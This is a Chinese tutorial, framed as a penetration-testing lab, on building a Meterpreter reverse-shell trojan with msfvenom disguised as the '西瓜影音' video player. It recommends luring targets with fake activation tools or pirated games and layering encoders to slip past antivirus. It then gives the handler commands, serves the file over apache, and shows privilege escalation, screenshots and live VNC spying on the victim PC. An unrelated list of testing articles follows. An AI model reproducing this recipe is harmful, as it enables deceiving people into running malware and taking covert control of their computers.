渗透测试-制作一个‘有吸引力的软件‘去获取电脑shell(功能很强大,有惊喜)

简介: 渗透测试-制作一个‘有吸引力的软件‘去获取电脑shell(功能很强大,有惊喜)

 目录

 

1.客户端渗透原理

2.实验环境

3.实战:使用msfvenom生成西瓜影音看片神器后门木马

1.生成西瓜影音.exe后门程序

2.在MSF上启动handler开始监听后门程序

3.展示一下强大的功能

1.查看权限并提权

2.查看文件列表

3.查看系统信息

4.截图

5.实时监控win7电脑

6.其他一些操作

1.客户端渗透原理

在我们无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击。

客户端渗透技巧,我们可以将软件伪装一下,比如说将名字改为:windows激活工具,盗版游戏,抢红包软件,西瓜影音等等,只要能够吸引目标去下载安装就可以。

平时我们去激活系统,下载的激活工具,即使它提示我们有病毒,但是我们还是会去下载,用的就是这个原理。

2.实验环境

一台kali,一台win7,两台主机是在一个局域网内。

3.实战:使用msfvenom生成西瓜影音看片神器后门木马

msfvenon是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。

1.生成西瓜影音.exe后门程序

使用一个编码器

image.gif编辑image.gif编辑

使用两个编码器

image.gif编辑

image.gif编辑

参数说明:

-a 指定架构如 x86 x64。x86代表32位,x64代表64位。32位软件可以在64位系统上运行。

--platform 指定平台,这里选择windows,通过 --| platform 可以查看所有支持的平台

-p 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-| payloads查看所有攻击载荷

LHOST 目标主机执行程序后链接我们的kali地址

LPORT 目标主句执行程序后链接我们kali的端口

-b 去掉坏字符,坏字符会影响payload正常执行。

image.gif编辑

image.gif编辑

2.kali系统开启apache服务

systemctl  start apache2

image.gif编辑

3.在win7系统里下载刚刚生成的西瓜影音软件

 http://xxx.xxx.xxx.xxx/西瓜影音1.exe

 http://xxx.xxx.xxx.xxx/西瓜影音2.exe

image.gif编辑

4.我们可以通过下面这个网站来扫描一下我们生成的两个exe病毒检测结果。

网络异常,图片无法展示
|

image.gif编辑

扫描结果:

一个生成器

image.gif编辑

两个生成器

image.gif编辑

如图,可以看出,两个生成器被检测出病毒的概率小一点。一般,为了不让电脑把软件当成病毒给杀掉,最好使用两个生成器。

2.在MSF上启动handler开始监听后门程序

1.kali启动Metasploit软件

2.使用模块 use exploit/multi/handler,并查看需要配置的参数show options

image.gif编辑

3.建立payload

set payload windows/meterpreter/reverse_tcp

image.gif编辑

4.设置监听主机--kali  

set LHOSTS 192.168.1.53

image.gif编辑

5.开启run

image.gif编辑

6.在win7电脑里运行刚刚下载的西瓜影音软件。kali系统就建立了会话。

image.gif编辑

3.展示一下强大的功能

1.查看权限并提权

image.gif编辑

我们可以看到,此时是Administrator权限。一般电脑的权限分为:普通用户权限,管理员权限和系统权限。

输入help可以查看到有很多功能。其中一个就是getsystem。

image.gif编辑

输入getsystem,输入getuid,权限就变成了系统权限。

image.gif编辑

2.查看文件列表

image.gif编辑

3.查看系统信息

sysinfo

image.gif编辑

4.截图

(当前win7桌面)screenshot

image.gif编辑

存放在root目录下

image.gif编辑

5.实时监控win7电脑(惊喜)

run vnc

image.gif编辑

image.gif编辑

6.其他一些操作

shutdown 关机  reboot 重启  reg注册表相关信息

相关文章
|
29天前
|
测试技术 开发者 Python
自动化测试之美:从零构建你的软件质量防线
【10月更文挑战第34天】在数字化时代的浪潮中,软件成为我们生活和工作不可或缺的一部分。然而,随着软件复杂性的增加,如何保证其质量和稳定性成为开发者面临的一大挑战。自动化测试,作为现代软件开发过程中的关键实践,不仅提高了测试效率,还确保了软件产品的质量。本文将深入浅出地介绍自动化测试的概念、重要性以及实施步骤,带领读者从零基础开始,一步步构建起属于自己的软件质量防线。通过具体实例,我们将探索如何有效地设计和执行自动化测试脚本,最终实现软件开发流程的优化和产品质量的提升。无论你是软件开发新手,还是希望提高项目质量的资深开发者,这篇文章都将为你提供宝贵的指导和启示。
|
2月前
|
机器学习/深度学习 人工智能 监控
提升软件质量的关键路径:高效测试策略与实践在软件开发的宇宙中,每一行代码都如同星辰般璀璨,而将这些星辰编织成星系的过程,则依赖于严谨而高效的测试策略。本文将引领读者探索软件测试的奥秘,揭示如何通过精心设计的测试方案,不仅提升软件的性能与稳定性,还能加速产品上市的步伐,最终实现质量与效率的双重飞跃。
在软件工程的浩瀚星海中,测试不仅是发现缺陷的放大镜,更是保障软件质量的坚固防线。本文旨在探讨一种高效且创新的软件测试策略框架,它融合了传统方法的精髓与现代技术的突破,旨在为软件开发团队提供一套系统化、可执行性强的测试指引。我们将从测试规划的起点出发,沿着测试设计、执行、反馈再到持续优化的轨迹,逐步展开论述。每一步都强调实用性与前瞻性相结合,确保测试活动能够紧跟软件开发的步伐,及时适应变化,有效应对各种挑战。
|
10天前
|
监控 测试技术
slb测试会话保持功能
slb测试会话保持功能
21 6
|
2月前
|
运维
【运维基础知识】用dos批处理批量替换文件中的某个字符串(本地单元测试通过,部分功能有待优化,欢迎指正)
该脚本用于将C盘test目录下所有以t开头的txt文件中的字符串“123”批量替换为“abc”。通过创建批处理文件并运行,可实现自动化文本替换,适合初学者学习批处理脚本的基础操作与逻辑控制。
160 56
|
21天前
|
jenkins 测试技术 持续交付
自动化测试框架的构建与优化:提升软件交付效率的关键####
本文深入探讨了自动化测试框架的核心价值,通过对比传统手工测试方法的局限性,揭示了自动化测试在现代软件开发生命周期中的重要性。不同于常规摘要仅概述内容,本部分强调了自动化测试如何显著提高测试覆盖率、缩短测试周期、降低人力成本,并促进持续集成/持续部署(CI/CD)流程的实施,最终实现软件质量和开发效率的双重飞跃。通过具体案例分析,展示了从零开始构建自动化测试框架的策略与最佳实践,包括选择合适的工具、设计高效的测试用例结构、以及如何进行性能调优等关键步骤。此外,还讨论了在实施过程中可能遇到的挑战及应对策略,为读者提供了一套可操作的优化指南。 ####
|
29天前
|
机器学习/深度学习 人工智能 自然语言处理
自动化测试的新篇章:利用AI提升软件质量
【10月更文挑战第35天】在软件开发的海洋中,自动化测试犹如一艘救生艇,它帮助团队确保产品质量,同时减少人为错误。本文将探索如何通过集成人工智能(AI)技术,使自动化测试更加智能化,从而提升软件测试的效率和准确性。我们将从AI在测试用例生成、测试执行和结果分析中的应用出发,深入讨论AI如何重塑软件测试领域,并配以实际代码示例来说明这些概念。
54 3
|
2月前
|
敏捷开发 监控 jenkins
自动化测试之美:打造高效的软件质量保障体系
【10月更文挑战第20天】在软件开发的海洋中,自动化测试如同一艘精准的导航船,引领项目避开错误的礁石,驶向质量的彼岸。本文将扬帆起航,探索如何构建和实施一个高效的自动化测试体系,确保软件产品的稳定性和可靠性。我们将从测试策略的制定、工具的选择、脚本的编写,到持续集成的实施,一步步描绘出自动化测试的蓝图,让读者能够掌握这一技术的关键要素,并在自己的项目中加以应用。
34 5
|
2月前
|
测试技术
软件质量保护与测试(第2版)学习总结第十三章 集成测试
本文是《软件质量保护与测试》(第2版)第十三章的学习总结,介绍了集成测试的概念、主要任务、测试层次与原则,以及集成测试的不同策略,包括非渐增式集成和渐增式集成(自顶向下和自底向上),并通过图示详细解释了集成测试的过程。
69 1
软件质量保护与测试(第2版)学习总结第十三章 集成测试
|
2月前
|
测试技术
软件质量保护与测试(第2版)学习总结第十章 黑盒测试
本文是《软件质量保护与测试》(第2版)第十章的学习总结,介绍了黑盒测试的基本概念和方法,包括等价类划分、边界值分析和因果图法,并通过具体例子展示了如何设计测试用例来验证软件的功能性需求。
73 1
软件质量保护与测试(第2版)学习总结第十章 黑盒测试
|
2月前
|
Java 测试技术 持续交付
探索自动化测试的奥秘:提升软件质量的关键
【10月更文挑战第20天】 在当今快速发展的软件行业中,自动化测试已成为确保产品质量和加速开发周期的重要工具。本文将深入探讨自动化测试的核心概念、实施策略及其对软件开发生命周期的影响,旨在为读者提供一种全面理解自动化测试的视角,并展示如何有效地将其应用于实际项目中以提高软件质量和效率。
26 2